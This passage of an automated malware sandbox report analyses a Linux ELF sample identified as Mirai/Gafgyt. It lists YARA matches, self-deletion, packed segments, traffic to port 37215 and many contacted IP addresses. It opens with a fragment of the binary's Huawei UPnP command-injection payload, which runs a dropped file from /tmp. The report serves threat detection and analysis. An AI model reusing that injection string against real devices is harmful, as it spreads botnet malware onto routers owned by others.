chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: JdnjRc1VGX.elf, 5439.1.0000000000400000.0000000000415000.r-x.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: JdnjRc1VGX.elf, 5439.1.0000000000400000.0000000000415000.r-x.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Sample contains only a LOAD segment without any section mappings
Source: LOAD without section mappings Program segment: 0x400000
Yara signature match
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: classification engine Classification label: mal88.troj.evad.linELF@0/0@0/0

Hooking and other Techniques for Hiding and Protection
barindex
Sample deletes itself
Source: /tmp/JdnjRc1VGX.elf (PID: 5439) File: /tmp/JdnjRc1VGX.elf Jump to behavior
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55300 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35590 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53662 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 53662
Source: unknown Network traffic detected: HTTP traffic on port 36732 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 36732
Source: unknown Network traffic detected: HTTP traffic on port 43332 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51662 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
ELF contains segments with high entropy indicating compressed/encrypted content
Source: JdnjRc1VGX.elf Submission file: segment LOAD with 7.8221 entropy (max. 8.0)
Source: JdnjRc1VGX.elf Submission file: segment LOAD with 7.9714 entropy (max. 8.0)

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 5439.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
197.116.135.74
 unknown Algeria
36947 ALGTEL-ASDZ false
197.6.83.231
 unknown Tunisia
5438 ATI-TN false
197.164.30.182
 unknown Egypt
24863 LINKdotNET-ASEG false
197.91.90.153
 unknown South Africa
10474 OPTINETZA false
84.29.203.210
 unknown Netherlands
33915 TNF-ASNL false
41.195.126.254
 unknown South Africa
16637 MTNNS-ASZA false
197.11.5.126
 unknown Tunisia
5438 ATI-TN false
197.40.144.197
 unknown Egypt
8452 TE-ASTE-ASEG false
197.207.242.221
 unknown Algeria
36947 ALGTEL-ASDZ false
157.227.29.223
 unknown Australia
4704 SANNETRakutenMobileIncJP false
48.216.35.174
 unknown United States
2686 ATGS-MMD-ASUS false
18.96.107.225
 unknown United States
3 MIT-GATEWAYSUS false
131.128.122.111
 unknown United States
14348 URI-ASUS false
165.251.173.26
 unknown United States
6468 EASYLINK-AS6468US false
41.248.100.185
 unknown Morocco
36903 MT-MPLSMA false
197.193.220.30
 unknown Egypt
36992 ETISALAT-MISREG false
157.243.34.176
 unknown France
25789 LMUUS false
77.72.15.27
 unknown Germany
42215 SHZFoerdestrasse20DE false
157.33.200.173
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
72.119.18.138
 unknown United States
22394 CELLCOUS false
197.254.120.27
 unknown Kenya
15808 ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE false
106.191.44.166
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
157.222.241.31
 unknown United States
4704 SANNETRakutenMobileIncJP false
197.85.27.200
 unknown South Africa
10474 OPTINETZA false
41.225.14.109
 unknown Tunisia
31245 ATI-ISPTN false
197.129.235.30
 unknown Morocco
6713 IAM-ASMA false
41.219.131.159
 unknown Nigeria
30998 NAL-ASNG false
41.215.4.32
 unknown Kenya
15808 ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE false
197.233.253.37
 unknown Namibia
36999 TELECOM-NAMIBIANA false
41.150.35.153
 unknown South Africa
5713 SAIX-NETZA false
197.179.229.54
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
211.222.190.56
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
197.46.117.93
 unknown Egypt
8452 TE-ASTE-ASEG false
157.245.157.86
 unknown United States
14061 DIGITALOCEAN-ASNUS false
125.161.32.236
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
197.142.68.131
 unknown Algeria
36891 ICOSNET-ASDZ false
157.153.115.155
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
197.171.128.117
 unknown South Africa
37168 CELL-CZA false
157.227.77.36
 unknown Australia
4704 SANNETRakutenMobileIncJP false
49.83.133.241
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
216.60.10.119
 unknown United States
7018 ATT-INTERNET4US false
157.86.23.82
 unknown Brazil
21612 FUNDACAOINSTITUTOOSWALDOCRUZBR false
197.184.140.172
 unknown South Africa
37105 NEOLOGY-ASZA false
143.147.107.7
 unknown United States
391 AFCONC-BLOCK1-ASUS false
197.240.218.234
 unknown unknown
37705 TOPNETTN false
41.48.216.186
 unknown South Africa
37168 CELL-CZA false
157.119.196.248
 unknown China
2516 KDDIKDDICORPORATIONJP false
41.89.31.250
 unknown Kenya
36914 KENET-ASKE false
189.222.8.104
 unknown Mexico
8151 UninetSAdeCVMX false
41.85.219.6
 unknown Zimbabwe
37183 UTANDEZW false
157.180.86.133
 unknown Sweden
22192 SSHENETUS false
186.197.39.238
 unknown Brazil
26615 TIMSABR false
157.181.230.150
 unknown Hungary
2012 ELTENETELTENETHU false
197.1.131.240
 unknown Tunisia
37705 TOPNETTN false
88.160.167.18
 unknown France
12322 PROXADFR false
157.196.121.223
 unknown United States
4704 SANNETRakutenMobileIncJP false
41.168.23.210
 unknown South Africa
36937 Neotel-ASZA false
197.46.130.80
 unknown Egypt
8452 TE-ASTE-ASEG false
41.51.39.177
 unknown South Africa
37168 CELL-CZA false
157.63.154.110
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
140.233.132.246
 unknown United States
14550 MIDDLEBURY-COLLEGEUS false
41.74.63.244
 unknown Botswana
36963 OBOBW false
197.48.170.217
 unknown Egypt
8452 TE-ASTE-ASEG false
157.173.215.145
 unknown United Kingdom
22192 SSHENETUS false
157.202.176.77
 unknown United States
1759 TSF-IP-CORETeliaFinlandOyjEU false
197.175.183.172
 unknown South Africa
37168 CELL-CZA false
41.121.79.50
 unknown South Africa
16637 MTNNS-ASZA false
41.145.178.35
 unknown South Africa
5713 SAIX-NETZA false
197.249.194.141
 unknown Mozambique
25139 TVCABO-ASEU false
157.3.104.236
 unknown Japan 7671 MCNETNTTSmartConnectCorporationJP false
197.152.229.181
 unknown Tanzania United Republic of
37133 airtel-tz-asTZ false
91.72.131.131
 unknown United Arab Emirates
15802 DU-AS1AE false
70.15.2.172
 unknown United States
3737 AS-PTDUS false
41.73.84.217
 unknown unknown
37004 Suburban-Broadband-ASNG false
197.231.174.163
 unknown South Africa
37055 EMIDZA false
41.120.42.104
 unknown South Africa
16637 MTNNS-ASZA false
41.241.171.207
 unknown Sudan
36998 SDN-MOBITELSD false
157.202.188.70
 unknown United States
1759 TSF-IP-CORETeliaFinlandOyjEU false
12.211.183.28
 unknown United States
7018 ATT-INTERNET4US false
157.125.224.43
 unknown Sweden
31655 ASN-GAMMATELECOMGB false
197.153.48.91
 unknown Morocco
36925 ASMediMA false
197.202.32.119
 unknown Algeria
36947 ALGTEL-ASDZ false
41.26.72.132
 unknown South Africa
29975 VODACOM-ZA false
157.139.102.32
 unknown United States
20252 JSIWMCUS false
197.142.21.138
 unknown Algeria
36891 ICOSNET-ASDZ false
41.84.134.129
 unknown Mauritius
30844 LIQUID-ASGB false
157.57.81.241
 unknown United States
3598 MICROSOFT-CORP-ASUS false
86.199.95.91
 unknown France
3215 FranceTelecom-OrangeFR false
41.158.242.12
 unknown Gabon
16058 Gabon-TelecomGA false
41.57.121.215
 unknown Nigeria
37472 NIGCOMSATNG false
157.43.142.116
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
149.100.147.245
 unknown United States
174 COGENT-174US false
157.138.100.114
 unknown Italy
137 ASGARRConsortiumGARREU false
197.17.21.176
 unknown Tunisia
37693 TUNISIANATN false
157.74.88.21
 unknown Japan 131932 JEIS-NETJREastInformationSystemsCompanyJP false
157.0.211.52
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
41.149.215.25
 unknown South Africa
5713 SAIX-NETZA false
41.121.79.30
 unknown South Africa
16637 MTNNS-ASZA false
197.237.248.137
 unknown Kenya
15399 WANANCHI-KE false
44.82.156.111
 unknown United States
7377 UCSDUS false